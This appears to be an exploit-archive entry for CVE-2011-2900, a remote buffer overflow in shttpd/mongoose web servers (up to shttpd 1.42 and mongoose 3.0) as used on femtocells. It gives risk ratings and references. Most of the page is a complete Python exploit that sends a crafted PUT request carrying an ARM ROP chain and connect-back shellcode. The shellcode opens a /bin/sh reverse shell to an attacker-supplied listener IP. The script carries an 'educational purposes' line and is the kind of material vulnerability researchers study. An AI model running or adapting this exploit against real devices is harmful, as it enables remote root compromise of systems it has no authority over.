Simple HTTPd 1.42 PUT Request Remote Buffer Overflow Vulnerability

2011.08.16
Credit: nion
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/env python # part of femtocell research by TU-Berlin # only for educational purposes # Exploit Title: remote root on sfr/ubiquisys femtocell webserver (wsal/shttpd/mongoose) # Date: 2011-08-02 # Author: nion # Software: http://code.google.com/p/mongoose/ http://sourceforge.net/projects/shttpd/ # Version: shttpd <= 1.42, mongoose <= 3.0 # CVE: CVE-2011-2900 # Tested on: Linux (proprietary embedded distro) Linux 2.6.18-ubi-sys-V2.0.17 import socket, sys, time import urllib, struct if(len(sys.argv) < 3): print sys.argv[0] + " <target ip> <listening ip>" sys.exit(-1) target = sys.argv[1] listener = sys.argv[2] SHELLCODE = 0xbc568 # shellcode backup in connect struct, heap is not randomized STACK_LIFT = "%a0%ce%31%40" # didnt want to use urllib to encode at this point # because it moves the heap address depending on if character is printable or not # and i was too lazy to adjust the payload when cleaning up the exploit :) buf = "PUT /" buf += "A" * 107 # first fill bytes will not be 148 because stack layout looks different when leaving put_dir() buf += STACK_LIFT # repeated stack lifting for i in xrange(0, 26): buf += "A" * 148 buf += STACK_LIFT buf += "B"*132 # padding to overwrite pc, last jump will go over this one buf += STACK_LIFT # this will hit pc and produce our first jump # add sp, sp, #132; pop {r4, r5, r6, r7, pc} buf += "A"*12 # this will be our last stack lifting after buf += STACK_LIFT # jumping through our buffer back up # lets finish the path chunk and make some padding for the # last stack lift before pc gets popped to a different place buf+="AAAAAAAAA/"+"A"*138 # first jump buf += urllib.quote(struct.pack("<L", 0x4032a410)) # --, # v # prepare lr so we can properly return from __clear_cache # 0x4032a410 <makecontext+28>: pop {lr} ; (ldr lr, [sp], #4) # 0x4032a414 <makecontext+32>: add sp, sp, #8 ; 0x8 # 0x4032a418 <makecontext+36>: bx lr buf+=urllib.quote(struct.pack("<L", 0x403e937c)) # free_slotinfo+128, return from __clear_cache buf+="DDDDDDDD" # skip sp lifting, 8 dummy bytes because sp is lifted before branching # --, bx lr # v # 0x403e937c <free_slotinfo+128>: pop {r4, pc} buf+="CCCC" # dummy r4 buf+=urllib.quote(struct.pack("<L", 0x402e5064)) # __aeabi_cfcmple+16 # --, # v # 0x402e5064 <__aeabi_cfcmple+16>: pop {r0, r1, r2, r3, pc} buf+="AAAA" # dummy r0 buf+="CCCC" # dummy r1 (needed for __clear_cache) buf+="DDDD"*2 # dummy r2, r3 buf+=urllib.quote(struct.pack("<L", 0x40364bbc)) # envz_merge+184 # --, # v # 0x40364bbc <envz_merge+184>: mov r0, r11 # 0x40364bc0 <envz_merge+188>: pop {r4, r5, r6, r7, r8, r9, r11, pc} # at this point r11 points to an address on the heap in front of # our shellcode, e.g. 0xad220 buf+="FFFF"*7 # dummy r4-r9+r11 buf+=urllib.quote(struct.pack("<L", 0x402e5484)) # __clear_cache # --, # v # __clear_cache will return to our prepare lr (free_slotinfo+128) # 0x403e937c <free_slotinfo+128>: pop {r4, pc} buf+="AAAA" # dummy r4 buf +=urllib.quote(struct.pack("<L", SHELLCODE)) # jump to shellcode # shellcode + some testing garbage in front of it buf += "A"*16 # some garbage padding in front of our payload, could be nops or whatever # make listener shellcode friendly evil_haxxor = urllib.quote("".join([struct.pack("B", int(x)) for x in listener.split('.')])) # connect back shellcode buf += "%01%10%8F%E2%11%FF%2F%E1%02%20%01%21%92%1A%0F%02%19%37%01%DF%06%1C%08%A1%10%22%02%37%01%DF%3F%27%02%21%30%1c%01%df%01%39%FB%D5%05%A0%92%1A%05%b4%69%46%0b%27%01%DF%C0%46%02%00%11%5c" + evil_haxxor + "%2f%62%69%6e%2f%73%68%00/ HTTP/1.0\r\n" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((target, 80)) s.send(buf) s.send("\r\n") print s.recv(1024)

References:

https://code.google.com/p/mongoose/source/detail?r=556f4de91eae4bac40dc5d4ddbd9ec7c424711d0
http://www.openwall.com/lists/oss-security/2011/08/03/9
http://www.openwall.com/lists/oss-security/2011/08/03/5
http://xforce.iss.net/xforce/xfdb/68991
http://www.securityfocus.com/bid/48980
http://secunia.com/advisories/45464


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